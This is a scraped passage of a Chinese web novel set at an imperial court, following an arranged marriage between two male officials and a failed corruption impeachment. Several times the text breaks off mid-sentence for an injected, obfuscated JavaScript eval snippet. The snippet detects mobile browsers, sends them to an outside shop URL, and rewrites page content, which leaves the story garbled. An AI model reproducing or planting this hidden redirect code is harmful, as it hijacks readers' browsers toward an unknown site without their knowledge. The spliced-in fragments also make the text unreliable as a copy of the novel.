慈宁宫内的地龙烧得正旺,暖融融的热气裹着淡淡的檀香漫在空气中。 宫女们捧着叠得齐整的绸缎往来穿梭,银盆里刚换的热水腾着细白的雾气,廊下几个小太监正踮脚往架子上挂新裁的云锦,脚步声、器物碰撞声混在一起,闹得人心里也跟着暖烘烘的。 虞睿祥斜倚在铺着软垫的紫檀木椅上,手里捏着个霁蓝釉的茶盏,目光却落在膝头摊开的几张画纸上。 那是婚服的示意图,朱砂描的领口纹样、银线勾的暗纹云纹,连袖口的滚边样式都标得清清楚楚。 他指尖划过高领上绣的并蒂莲,抿了口温热的雨前茶,含笑道:“母后,您是不是也太着急了些?” “这婚期都还没定呢,连谢伟恒那头都没正经递庚帖,您倒先把婚服图样都画出来了。” 太后正让宫女给茶盏续水,闻言抬眼睨了他一眼,手里的茶盏往桌上轻轻一放,青瓷碰着紫檀桌面,发出清脆的一声响。 “急?哀家这叫未雨绸缪。” 她伸手点了点那些图样,“你当这婚服是寻常衣裳?料子要挑云锦中最细的‘软烟罗’,绣线得用赤金抽的丝,单是领口那片‘百子千孙’的纹样,就得让绣坊里最巧的绣娘绣上一个月。赶制下来,少则两月,多则四个月,等婚期定了再动手,难道让延儿穿着素衣拜堂?” 虞睿祥被太后说得哑然,把茶盏搁到旁边的小几上,拿起一张画得最细致的图样翻看。 纸上的婚服是按男子身形画的,比女子婚服少了些繁复的裙裾,却在腰封和下摆处加了暗纹,倒也英气。 “这些图样,您跟修延看过了?”他想起燕修延那跳脱性子,说不定还嫌这些样式太规矩。 “看了看了。” 太后摆摆手,语气里带点无奈的笑意,“白天拿给他看,他就扫了两眼,说‘不着急’——他懂什么?这是终身大事,哪能不着急?” 正说着,殿外传来轻快的脚步声,虞湘晔提着个朱漆描金的盒子走进来,脸上带着雀跃的笑意。 “母后,您看我找着什么了!” 她把盒子放到太后跟前的桌上,小心翼翼地掀开盖子,里面铺着明黄色的锦缎,放着一对鎏金点翠簪子。 簪子是累丝攒成的凤凰样式,凤嘴里衔着颗莹润的珍珠,翠羽是用孔雀石细细碾成的,在暖光下泛着温润的光泽。 “我在库房翻了半天,看了好多首饰,还是觉得干娘留下来的这对簪子最好看。” 虞湘晔拿起一支簪子,指尖轻轻拂过上面的翠羽,“修延哥成亲时要戴金冠,把这对簪子插 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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殿内的宫人也都识趣地退了出去,慈宁宫慢慢恢复了往日的宁静,只剩下地龙偶尔发出的“噼啪”声。 王嬷嬷从偏殿走出来,扶着太后站起来,轻声问:“太后,夜深了,要不要安置?” 太后摇了摇头,目光望向殿外的夜色,声音轻缓:“扶哀家去佛堂吧。” 佛堂里比外头更静,只点着两盏长明灯,昏黄的光晕映着供桌上的佛像,添了几分肃穆。 佛像前摆着个素净的牌位,上面刻着“故刘氏孺人”几个字,正是燕修延母亲的牌位。 太后在蒲团上跪坐下,王嬷嬷取了三炷香,在烛火上点燃,轻轻递到她手中,然后便退到殿外守着,将这一方小天地留给她。 太后握着那三炷香,指尖微微发颤。她对着牌位拜了三拜,每一次俯身都格外郑重,然后将香插进香炉里。 香烟袅袅升起,模糊了她眼角的湿意。 “姐姐。” 她声音压得很低,带着浓浓的鼻音,像是对着最亲近的人絮语,“你看,延儿现在也要成亲了。” “虽说……虽说不是和女子,但谢伟恒那孩子,哀家瞧着是真心对延儿好的,稳重、可靠,也疼人。往后有他护着,延儿定不会受委屈。” 她抬手抹了抹眼角,又对着牌位磕了三个头,额头抵在冰凉的青砖上,声音带着承诺般的坚定:“你放心,我也会尽我所能护好延儿的,一定让他安安稳稳、开开心心的,像你当年盼着的那样。” 佛堂里静悄悄的,只有香灰偶尔落在供桌上的轻响,长明灯的光晕在牌位上轻轻晃动,像是一声温柔的应答。 11. 燕府夜话 马车停在燕府门外。 谢伟恒掀开车帘,指尖刚触到冰凉的踏板,便利落地跃了下去,玄色官靴踩在阶前的薄雪上,发出细碎的“咯吱”声。 谢伟恒仰头望向门楣上那块乌木牌匾,“燕府”二字笔力浑厚,墨色里透着沉郁的光泽:“这字风骨不错。” “元旦那日陛下亲笔题的。” 燕修延也跟着下车,玄色锦袍下摆扫过车辕,带起一缕寒风,他斜睨着谢伟恒,“你若是喜欢,明日我进宫求陛下,也给你谢府写一块。” 说罢便转身迎向闻声开门的老管家,“燕伯,收拾间客房出来,给谢大人的小厮住。” “劳烦燕伯多收拾一间。” 谢伟恒的声音不高不低地跟在后面。 燕修延却像是被踩了尾巴的猫,猛地回头,大喇喇往门里一跳,半边身子已跨进门槛,挑眉道:“谢大人,我方才说了,今晚你跟我睡——怎么,你偏有睡客房的爱好?” 燕伯手里的灯笼颤了颤。 这位在燕府操劳了半辈子、跟着燕修延在战场上挡过箭的老管家,脸上惯常的平和险些绷不住,浑浊的眼睛里飞快掠过一丝惊讶。 燕修延瞧着他的神色,倒也没再打趣,和声悦色道:“燕伯,您别惊。他呢,现在是你家少爷我的未婚夫婿——陛下亲口赐的婚。” 燕伯握着灯笼柄的手紧了紧,心里暗叹:怕是真老了,耳朵都不中用了。 少爷何时有了未婚夫婿?还是这位素来以清冷闻名的谢大人? 但他面上没露半分,依旧和蔼地笑着,朝谢伟恒躬身:“谢大人这边请。” 燕修延本就喜热闹,奈何前几年常年在边关打仗,府里的仆人也不多,如今身边也就燕伯一个家生伺候的老人,其余几个仆役也多是近年才雇的,整个燕府瞧着竟有些空旷。 长廊两侧的小池塘结了层薄冰,冰下的水黑沉沉的,连条鱼影都瞧不见——冬季池水寒得刺骨,那些平日里活泼的锦鲤早沉到池底避寒,连探出头的兴致都无。 路过池塘时,燕修延忽然停下脚步,踢了踢池边冻硬的泥土,笑道:“明天别进宫了,陪我在这赏鱼可好?” 谢伟恒的目光落在冰面上,答非所问:“你还有雅兴养鱼?” “哪是我养的。” 燕修延摆了摆手,朝燕伯努了努嘴,“燕伯养的,他说夏日里池子里开满荷花,鱼在花叶间游,瞧着热闹。” 燕伯在旁笑呵呵接话:“可不是嘛。待夏季鱼肥美之时,少爷再和谢大人前来垂钓,老奴给二位烤鱼吃,保证外焦里嫩。” 燕修延转头看向谢伟恒,眼尾微微上挑,语气里带着点不易察觉的勾连:“那你可要日日来喂养它们——不然等不到夏天,怕是要瘦成鱼干了。” 谢伟恒却顺着他的话往下接,语气平淡:“鱼食你可愿替我花钱买?” 燕修延像是听到了什么笑话,嗤笑一声:“三两银子的鱼食你都付不起?谢大人好小气哦~” 谢伟恒却没接他的茬,只淡淡道:“既然担了小气的名声,那便小气到底。” 燕修延愣了愣,眼里满是疑惑:他这话是什么意思? 见他没听懂,谢伟恒才慢悠悠补充:“住店的钱。在你这住一晚,算三两银子,你给我钱,我这就带着小厮出去住客栈。” 燕修延转头看向燕伯,一脸“你看他是不是疯了”的表情:“燕伯,你瞧瞧!见钱咋比我还疯?我家徒四壁的,他还找我要钱?” 燕伯刚要开口,谢伟恒已先一步道:“既没有,那便不要说出‘小气’这样的话来。” 一句话堵得燕修延哑口无言,只能愤愤地瞪了他一眼,转身往内院走,嘴里嘟囔着“没趣”。 客房里,谢小厮正帮着燕伯铺床。 谢小厮新奇得很,今日还是头回见自家少爷跟人这般拌嘴,,手上整理着床褥。 “燕伯伯,燕大人是什么人啊?我家少爷素来不爱与人亲近。” 燕伯正抻着被角,闻言直起腰,脸上露出几分自豪,声音也扬了些:“我家少爷可是大将军!当年跟着陛下在边关拼杀,面对千军万马都从没退过半步的!他和陛下是从小一起长大的。” 谢小厮在京城有些时日,自然听过燕修延的传闻,却从不是燕伯说的这般。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646169|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在京里人都说,燕修延仗着陛下宠信,在朝堂上仗势欺人,陷害忠臣,甚至还有人说他暗中勾结外戚,祸乱朝政。 谢小厮偷偷觑了眼门外,心想:今儿个接触下来,燕大人虽看着跳脱,却也不似传闻中那版…… 倒是拌嘴时,瞧着反倒是自家少爷腹中的坏水更多。 他把枕头摆到床中央,自己抱过另一床被子往旁边的小榻上放,随口道:“说来也奇,陛下当朝就赐了婚,让燕大人嫁进我们谢府。” “什么?” 燕伯手里的动作猛地一顿,眼睛瞪得溜圆,“你说……陛下赐婚,让谢大人和我家少爷成亲?” 他这才想起方才燕修延说的“未婚夫婿”,原来不是自己听错了! 老管家瞬间急了,搓着手来回走了两步,“那你可知婚期是哪天?少爷要成亲,这可是天大的事!我得早早筹备起来!” 谢小厮被燕伯急惶惶的样子弄得一愣,摇摇头:“不知道,大人没说。” 他实在不懂,不过是定了亲,燕伯怎么急得像是明天就要拜堂似的。 而此刻,燕修延的卧房里,谢伟恒正坐在窗边的椅子上。 他听力本就绝佳,客房内燕伯和小厮的对话一字不落地飘了进来,他微微偏过头,嘴角几不可察地勾了勾——燕家这位管家,倒是个有意思的性情中人。 “婚期尚未定。” 谢伟恒收回目光,看向正在翻查信件的燕修延,语气平静,“我打算明日请国师算个良辰吉日,定下后再写信告知父亲。婚礼筹备一事,谢、燕两府都可以开始准备了。” 燕修延眼里满是难以置信的疑虑:“谢伟恒,你还真把这赐婚当回事了?” 他顿了顿,压低声音,语气里带了点警醒,“你这是嫌你爹活的有…有点长了吧?” 谢伟恒却没理他的话。 两人洗漱过后,燕修延披了件月白的外衣,便坐在书桌旁翻看着温泽刚查到的音讯,指尖在信纸上来回滑动。 “谢大人自便吧,不用管我。” 谢伟恒不语,走到床旁坐下,拿起一本被燕修延随意丢在床上的书看了起来。 12. 洗干净脖子等着! 李府,李想立在垂花门外,目送着魏仲泽的轿子消失在巷口尽头,才缓缓回身,指尖在袖中掐了掐,沉声道:“去,请王大人过府一叙。” 不过半盏茶的功夫,王庸就揣着一颗七上八下的心来了。 他一踏入书房,便见李想正慢条斯理地拂着茶盏上的茶沫,青瓷茶盏映着窗外斜斜的日影,漾出细碎的光。 王庸哪里敢怠慢,“噗通”一声跪倒在地,膝盖磕在冰凉的金砖上,疼得他龇牙咧嘴,却硬是忍着不敢吭声,只颤巍巍地叩首:“李大人,您找下官所谓何事?” 李想抬眸,目光沉沉地落在他身上,嘴角勾着一抹意味不明的笑:“王大人在如今的官位上,也熬了五六年了吧?” 王庸的心猛地一跳,额头的冷汗瞬间冒了出来,又听李想轻飘飘地补了一句:“可想再往上挪挪?” 这话像一道惊雷劈在他头顶,王庸几乎是不假思索地叩首,声音都带着颤音的激动:“下官一定不负大人所望!上刀山下火海,在所不辞!” 李想没再说话,只抬手呷了一口茶,茶沫顺着唇角滑落,他慢条斯理地拭去,眼底的光深不见底。 翌日清晨,朝堂上的龙涎香袅袅,熏得人昏昏欲睡。 文武百官列着整齐的队伍站着,静候着虞睿祥宣布退朝。 琉璃瓦在晨光下闪着金光,殿外的云雀叫得正欢,虞睿祥撑着脑袋,指尖无意识地敲着龙椅的扶手,正要开口,却见队伍里猛地窜出一个身影。 “陛下!臣有本奏!” 王庸膝行几步,跪在大殿中央,声音高亢得有些刺耳,“臣要弹劾燕大人——燕修延私吞十几箱抄家之物!” 这话一出,殿上顿时一片哗然。 百官窃窃私语,目光齐刷刷地落在站在前列的燕修延身上。 虞睿祥懒洋洋地掀了掀眼皮,视线掠过王庸,落在燕修延身上,那眼神里分明藏着一句“有把握没”。 燕修延垂着眼,长睫在眼下投出一小片阴影,几不可察地点了点头,这才转身看向王庸,声音清冽如冰泉:“王大人说我私吞,可有证据?” “证据?” 王庸像是早就料到他会这么问,挺直了腰板,底气十足道,“昨日下官亲耳听见燕大人跟谢大人说私吞之事!字字句句,绝无虚言!” 话音未落,站在燕修延身侧的谢伟恒便迈步出列,躬身行礼:“陛下,王大人所说之事,确实有。” 王庸心里的石头“咚”地落了地,暗地里松了好大一口气,连脊背都挺直了几分。 可这放松还没持续片刻,就听谢伟恒话锋一转,语气平淡却掷地有声:“但那十几箱并非抄家之物,而是太后娘娘特意为燕大人准备的嫁妆。” “嫁妆”二字一出,满殿皆惊。 王庸脸上的得意僵住了,像是被人兜头浇了一盆冷水,浑身的血都凉了半截。 就在这时,殿外忽然传来一声沉缓的女声,带着几分威严,几分戏谑:“哀家给延儿准备的嫁妆,怎么就成了王大人口中的抄家之物了?” 众人循声望去,只见王嬷嬷扶着太后,缓步从殿外走来。 明黄色的凤袍曳地,缀着的珍珠随着步履轻晃,映得太后那张保养得宜的脸,更添了几分威仪。 百官慌忙跪了一地,山呼:“臣等参见太后娘娘,太后娘娘千岁千岁千千岁!” “免礼,平身。” 太后抬手,声音不高,却带着不容置喙的威严。 她目光扫过僵在原地的王庸,眼底闪过一丝冷意,随即落在燕修延身上时,又柔和了几分。 燕修延趁势上前,将手中早已备好的奏折递给一旁的苏公公,而后转身跪倒在地,朗声道:“陛下,这是王大人这些年贪污受贿的明细,还有他勾结地方官员、中饱私囊的证据,桩桩件件,皆有凭证。” “不——不可能!” 王庸像是疯了一般,瘫坐在地,双手在金砖上胡乱地抓着,指甲缝里都嵌进了泥灰,他朝着龙椅的方向拼命爬行,喉咙里发出嗬嗬的声响。 “陛下,臣没有!臣实属冤枉啊!臣这些年做事兢兢业业,从未有过半分逾矩!” 李想见势不妙,连忙出列,躬身道:“陛下,王大人平日行事,臣等皆是有目共睹,勤勉本分,万般不似燕大人所说那般不堪。” 他话音刚落,谢伟恒便冷笑一声,上前一步,目光锐利如刀:“李大人这话是什么意思?是说燕大人冤枉好人,还是说监察司查案不明,是要拿脑袋开玩笑?” “你——” 李想被噎得脸色铁青,正要反驳,却听龙椅上传来一声怒喝,震得殿上的梁柱都似在轻颤:“都闭嘴!” 虞睿祥猛地站起身,龙袍的玉带绷得紧紧的,他怒目扫过殿上众人,随即冲苏公公喝道:“来人!立刻带人去王庸府上搜查!” 禁卫军领命而去,不过一刻钟的功夫,就抬着二十口沉甸甸的箱子进了金銮殿。 箱盖被撬开的瞬间,满殿都晃过一片晃眼的金光——里面竟全是码得整整齐齐的金条! “混账东西!” 虞睿祥看得目眦欲裂,大步走下龙椅,一脚狠狠踹在王庸的心口,踹得他喷出一口鲜血,“这就是你口中的冤枉!这就是你口中的兢兢业业!” 王庸蜷缩在地上,浑身抽搐,嘴里还在喃喃着“冤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646170|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 枉”,却早已没了半分力气。 虞睿祥转过身,胸膛剧烈起伏着,一字一句,掷地有声:“即日起,王庸乱棍打死!其家人永久流放三千里,贬为奴籍,永世不得入朝!” 禁卫军应声上前,拖着如同烂泥一般的王庸往外走。 王庸的哭喊声越来越远,最终消失在金銮殿的朱红大门外。 虞睿祥拂了拂衣袖上的褶皱,转身坐回龙椅,声音冷得像冰:“退朝!” 百官噤若寒蝉,纷纷躬身行礼,目送着帝王离去的背影,殿上的龙涎香依旧袅袅,却再也没人敢生出半分懈怠之心。 金銮殿的朱漆大门在身后缓缓合拢,将朝堂上的喧嚣与血腥气隔绝开来。 宫道上的残雪尚未消融,被晨光映得一片刺目,李想踩着脚下咯吱作响的碎雪,快步追上了前头那道月白的身影。 他几步拦在燕修延身前,面色阴沉得厉害,方才在殿上强撑的镇定早已荡然无存。 “燕大人今日,可真是好得意。” 他咬着牙,声音里淬着寒意,“王庸他当真就那般贪赃枉法?” 燕修延脚步一顿,缓缓转过身。 晨光落在他棱角分明的脸上,衬得那双眸子冷冽如冰。 看着李想紧绷的脸,唇角勾起一抹淡而凉的笑:“王庸贪污,桩桩件件皆是铁证,倘若不是昨日我也不会这么早就状告他。” 李想瞳孔骤然一缩,心头猛地一沉。 原来燕修延一早便握了王庸的把柄,今日朝堂上的一切,不过是引蛇出洞的戏码。 不等他回过神,燕修延忽然上前一步,温热的气息骤然贴近耳畔。 李想浑身一僵,竟忘了躲闪。 就听燕修延的声音压得极低,带着几分戏谑,又带着几分彻骨的寒意,一字一句钻进他的耳朵:“李大人,你找的人,可真不中用。” 他的气息拂过耳廓,带来一阵麻痒,却让李想如坠冰窖。 “还有。” 燕修延微微侧头,唇瓣几乎擦过他的耳垂,“告诉你背后那位,洗干净脖子,等着。” 话音落,燕修延直起身,理了理衣襟,仿佛方才那带着威胁的低语不过是寻常寒暄。 他抬眼看向不远处候着的谢伟恒,眉眼间的冷冽尽数散去,染上几分浅淡的笑意。 “走吧。” 他对着谢伟恒扬了扬下巴,脚步轻快地越过僵在原地的李想,朝着宫门外走去。 风卷着细碎的雪沫子吹来,扑在李想的脸上,冰冷刺骨。 他望着那两道并肩远去的身影,攥紧的拳头指节泛白,眼底翻涌着不甘与惊惧,却终究不敢再上前一步。 13. 情字难解啊 风卷着国师府庭院里的紫藤花香,漫过雕花的朱栏,拂得人鼻尖发痒。 燕修延刚踏过垂花门,眼角余光瞥见廊下那抹明黄身影时,脚步倏地一顿,心头暗道不好。 陛下怎么竟亲自来了这国师府? 他敛了神色,与身旁的谢伟恒一同躬身行礼:“参见陛下。” “免礼平身。” 虞睿祥的声音带着几分慵懒的笑意,目光掠过谢伟恒,落在燕修延微微绷紧的侧脸上,似笑非笑地开口,“燕卿和谢卿怎么来了?” 燕修延直起身,顺势抱着胳膊斜倚在廊柱上,眉眼弯弯,语气带着几分戏谑:“谢大人猴急着成婚,巴巴地拉着我来,赶着找国师大人算良辰吉日呢。” 谢伟恒无奈地瞥了他一眼,眼底却漾着藏不住的笑意。 “朕要问的已经问完了。” 虞睿祥摆了摆手,语气随意,“两位爱卿自便吧。” 严瑾川早已候在一旁,闻言便示意二人上前,伸手要了生辰八字。 他指尖捏着宣纸,闭上眼睛凝神掐算,口中念念有词,指尖的念珠转得飞快,庭院里只余下风拂紫藤的簌簌声响。 燕修延觑着虞睿祥的背影,压低了声音嘀咕:“陛下日理万机,王庸那档子事还得劳烦陛下善后,哪还用得着在这里等?” 虞睿祥似是早有预料,侧过身凑近他,声音压得更低,带着几分促狭:“朕心系你二人的婚事,等上一等也无妨。倒是燕卿,这般急着赶朕走?” 燕修延翻了个白眼,阴阳怪气地哼了一声:“臣哪敢?您可是九五之尊的天子,借臣十个胆子,臣也不敢催陛下啊。” 狗屁的心系婚事,分明就是来看热闹的,找的理由能不能再敷衍些! 正腹诽着,严瑾川蓦地睁开眼睛,目光落在谢伟恒身上,语气笃定:“四月二十八便是吉日。在这一日成婚,可保夫夫恩爱,白头到老。” “四月二十八?” 燕修延掏了掏耳朵,一脸的不可置信,仿佛没听清一般又问了一遍。 “正是。” 严瑾川颔首,补充道,“错过这一日,要再等上整整一年。” 燕修延掰着手指算了算,眉头皱得更紧:“今儿才初八,离四月二十八,满打满算也没几个月了。” 这时间也太赶了些,难不成要他连夜赶制喜服不成? “无妨。” 虞睿祥接过话头,语气云淡风轻,仿佛早已安排妥当,“朕早就让礼部着手准备了,母后也早让绣娘画好了婚服样式,供你挑选。保准让燕卿风风光光地嫁过去。” “风光大嫁?” 燕修延猛地抬起头,哀怨地看向虞睿祥,那眼神简直要溢出控诉。 陛下您要不要听听自己在说什么?什么叫风光大嫁,大嫁你个头!这前后不足四个月的时间,是想把礼部的人都累死吗! 谢伟恒见状,连忙上前一步,不动声色地挡住了燕修延几乎要瞪出火的视线,对着虞睿祥躬身行礼,声音沉稳:“臣谢陛下恩典。” 严瑾川也看向谢伟恒,郑重叮嘱:“谢大人可要尽快去燕大人府上下聘,莫要误了吉时。” 虞睿祥冲着燕修延招了招手,示意他随自己走远些。 燕修延不情不愿地跟上去,没好气地问:“陛下又有何事?” 虞睿祥看着他气鼓鼓的模样,忍不住低笑出声,从袖中取出一把精致的铜锁和一张地契,递到他手中:“瞧你这不耐烦的样子,难不成这宅子和地契,你还不想要了?朕特意给你买的,往后你和谢卿若是拌了嘴,也好有个去处。” 顿了顿,又添了一句,语气里带着几分笑意:“母后说了,成婚那日,要你从慈宁宫出嫁。” 燕修延捏着那沉甸甸的地契和钥匙,低头仔细看了好几遍,心头的郁气瞬间散了大半。 这还没成亲呢,宅子先到手了,加上太后那十几箱嫁妆…… 他忽然觉得,虞睿祥哪里是让他嫁人,分明是在扶危济困! “陛下,臣等告退。” 谢伟恒不知何时走了过来,伸手轻轻拽住燕修延的胳膊,对着虞睿祥躬身行礼,语气不容置喙地拖着人就要走。 燕修延被他拽得一个趔趄,不满地嚷嚷:“喂,我的话还没说完呢!” 谢伟恒俯身在他耳边,压低了声音,只说了两个字:“嫁妆。” 燕修延瞬间噤声,腰杆挺得笔直,对着虞睿祥规规矩矩地行了个礼,声音响亮:“陛下,臣告退!” 虞睿祥看着两人相携离去的背影,无奈地笑着摇了摇头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646171|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个谢伟恒啊,醋意可真是不小。 严瑾川立在国师府的垂花门边,望着明黄的御驾渐行渐远,直到銮驾的影子融进长街里,才缓缓直起身,揣着手往庭院深处走。 廊下的风铃叮当作响,撞碎了满院的寂静。他望着天边渐渐沉下去的流云,低声喟叹:“情字难解啊,还是数我的星星清净。” 另一边的长街上,谢伟恒正拽着燕修延的手腕往前走。 燕修延被他拽得踉跄,眼角余光瞥见路过的百姓都在偷偷打量他们,还交头接耳地窃窃私语,顿时恼了,压低声音警告:“谢伟恒,你再这么拽着我走,我可就咬你了!” 他太清楚以讹传讹的本事了——今日这副模样被人瞧去。 不出明日,谢伟恒和燕修延夫夫不睦、当街拉扯的消息,定能传遍京城的大街小巷。这种搬弄是非的把戏,他从前让孙瑞没少干过。 谢伟恒闻言,果然松了手,脚步依旧不疾不徐,唇边却噙着一抹淡笑。 他侧目看向燕修延,状似随意地问:“陛下方才拉你过去,给了你什么?” 燕修延一听这话,瞬间忘了方才的不快,得意地扬了扬下巴,从袖中掏出那张烫金的地契和沉甸甸的铜钥匙,在谢伟恒眼前晃了晃,然后美滋滋地展开地契:“瞧见没?陛下赐我的宅子!” 谢伟恒扫了一眼地契上的地址,淡淡点评:“倒是挺近。” 燕修延这才后知后觉地低头去看,目光落在那串熟悉的街巷名称上,倏地瞪大了眼睛:“这个位置……” 这不就是紧挨着谢家的宅子吗?中间只隔了一道墙! 谢伟恒看着他惊愕的模样,忍俊不禁,慢悠悠地补了一句:“往后若是吵架了,找你倒是方便。” 燕修延愣了半晌,才反应过来。 皇帝这是故意的吧! 故意把宅子买在谢家隔壁,分明是料定了他们日后少不了拌嘴。 可转念一想,他又忍不住弯了唇角。 故意的……也挺好。 等成了亲,他大可以每天从谢家的正门大摇大摆地进去,若是哪天闹了别扭,还能翻墙头回自己家,谁也别想管着谁。 燕修延越想越觉得这主意妙,攥着地契的手指都忍不住微微发紧,眼底漾起细碎的笑意。 14. 咱们府上有的闹喽 燕修延双手拢在宽大的锦缎袖中,哼着时下坊间流行的小调,慢悠悠地踱过青石板铺就的回廊。 这座宅子的布局和谢府几乎一模一样。 他信步踱进正厅,推开雕花木窗。窗外的阳光泼洒进来,落在紫檀木的八仙桌上,映得桌面油光锃亮。 燕修延斜倚着窗棂,朝着院中古槐的方向扬声喊:“出来吧,藏头露尾的,真当我眼瞎?” 话音刚落,一道黑影便如狸猫般从粗壮的槐树枝桠间跃下,稳稳落在青石地面上,带起一阵微风,惊得枝头麻雀扑棱棱乱飞。 “头儿!” 来人一身玄色劲装,脸上带着几分嬉皮笑脸,正是他手下最得力的暗卫温瑞,“谁能想到啊,陛下居然会把宅子买在谢府旁边。” 燕修延转过身,似笑非笑地睨着他:“我记得今日是你当值,又哄了哪个倒霉蛋替你当差?” 温瑞“嘿嘿”一笑,挠了挠头,眼底闪过一丝狡黠:“这不是惦记着您搬新家,特地来替您打探打探周遭的风声嘛。” 他收敛了笑意,神色变得肃然,“对了头,李想这些年贪墨的银子,账目上记的全是李羽飞的名字。那老狐狸,倒是会找替罪羊。” 燕修延闻言,指尖轻轻摩挲着下巴,眸色沉了沉。 李羽飞……那个名字,他倒是有些印象。 他踱到桌边,随手拿起一方镇纸把玩:“李羽飞如今,过得如何?” “不好。” 温瑞撇撇嘴,语气里带着几分幸灾乐祸。 “这些年她身上‘孤鬼’的传闻整个杭州都传遍了,李家的亲戚谁见了她都绕着走,生怕沾了晦气。” 燕修延铺开宣纸,他瞥了眼还杵在原地的温瑞,眉峰一挑:“磨墨啊,愣着做什么?没点眼力见儿。” 温瑞忙不迭地解下腰间佩剑,小心翼翼地靠在墙角,快步走到案前,拿起墨锭在砚台中细细研磨。 墨汁的清香渐渐弥漫开来,他看着燕修延执笔的模样,忍不住好奇道:“头,您这是……突然诗兴大发了?” 燕修延蘸饱了墨的狼毫悬在宣纸上,笔尖滴下一滴浓墨,在素白的宣纸上晕开一小团墨迹。 他扯了扯嘴角,眼底闪过一丝凛冽的寒光,语气轻描淡写,却带着彻骨的寒意:“我不是诗兴大发,我是杀心大发。” 温瑞磨墨的手猛地一顿,随即又低下头,动作愈发恭谨,连大气都不敢喘。 与此同时,隔壁的谢府。 西厢房内,谢伟恒正伏案疾书。 写完后,他仔细将信纸折成小巧的方块,递到候在一旁的谢小厮手中:“连夜送往江南,务必亲手交给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646172|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 父亲。” 谢小厮接过书信,小心翼翼地揣进怀里,转身快步出门。 刚走到垂花门,便撞见了管家谢伯。他凑到谢伯耳边,压低了声音道:“谢伯,燕大人嫁进来,往后啊,咱们府上怕是有的闹喽。” 谢伯抬手,不轻不重地敲了敲他的脑袋,眉眼间却带着几分了然的笑意:“少多嘴,赶紧办事去。误了公子的事,仔细你的皮。” 谢小厮吐了吐舌头,一溜烟地跑远了。 而新宅这边,温瑞早已磨好了墨,又替燕修延研好了朱砂。 他看着案上那封刚写就的密信,忍不住嘀咕:“头儿,李羽飞那姑娘倔得很,您就这么笃定,她会乖乖按您说的做?” 燕修延将密信吹干,折好递给温瑞。 温瑞接过,揣进怀里,暗自庆幸这跑腿的差事没落到自己头上。 他眼珠一转,又凑上前,脸上堆起谄媚的笑:“头,您这搬了新住处,怎么说也得热闹热闹。要不,我叫兄弟们过来,喝几杯,凑个趣儿?” 燕修延闻言,抬脚就往他屁股上踹了一下,力道不大,却带着几分威慑:“急什么?四月二十八再办。到时候,多买些好酒好菜,别寒酸了,丢我的脸。” 温瑞捂着屁股,龇牙咧嘴地应了:“得嘞!保证给您办得风风光光的!” 15. 当刺客 傍晚,残阳熔金般淌过青石板巷。燕修延的新宅门前人头攒动。 监察司的人脚步匆匆,一箱箱物件被搬进去,又有几捆扎得紧实的卷宗被抬出来,动静不小。 巷口那棵老槐树的阴影里,一道身影悄无声息地隐在树后,将这一幕尽收眼底,随即转身没入暮色,把消息传递了出去。 城南一处雅致的宅院,暖阁内檀香袅袅。棋盘上黑白子交错,杀得正酣。 魏仲泽拈着一枚白子,指尖莹白如玉,落子的动作轻缓,却带着不容置疑的力道。 他抬眼瞥了对面蹙眉沉思的李想一眼,声音清淡如茶:“那宅子的地段和规制,在京中算得上顶好的,皇帝倒是真舍得。” 顿了顿,他又嗤笑一声,语气里满是不屑:“王庸也是个废物,弹劾燕修延不成,反倒把自己搭进去了。” “往后啊,这些上不得台面的事,就正式用你女儿的名义吧,女子家的名头,总比王庸的身份好藏拙。” 李想捏着黑子的手指泛白,指节微微发颤。 他盯着棋盘上那片岌岌可危的黑棋,迟迟未落子,半晌才低声道:“儿子近日想去看看羽飞,那孩子……总归是李家的血脉。” 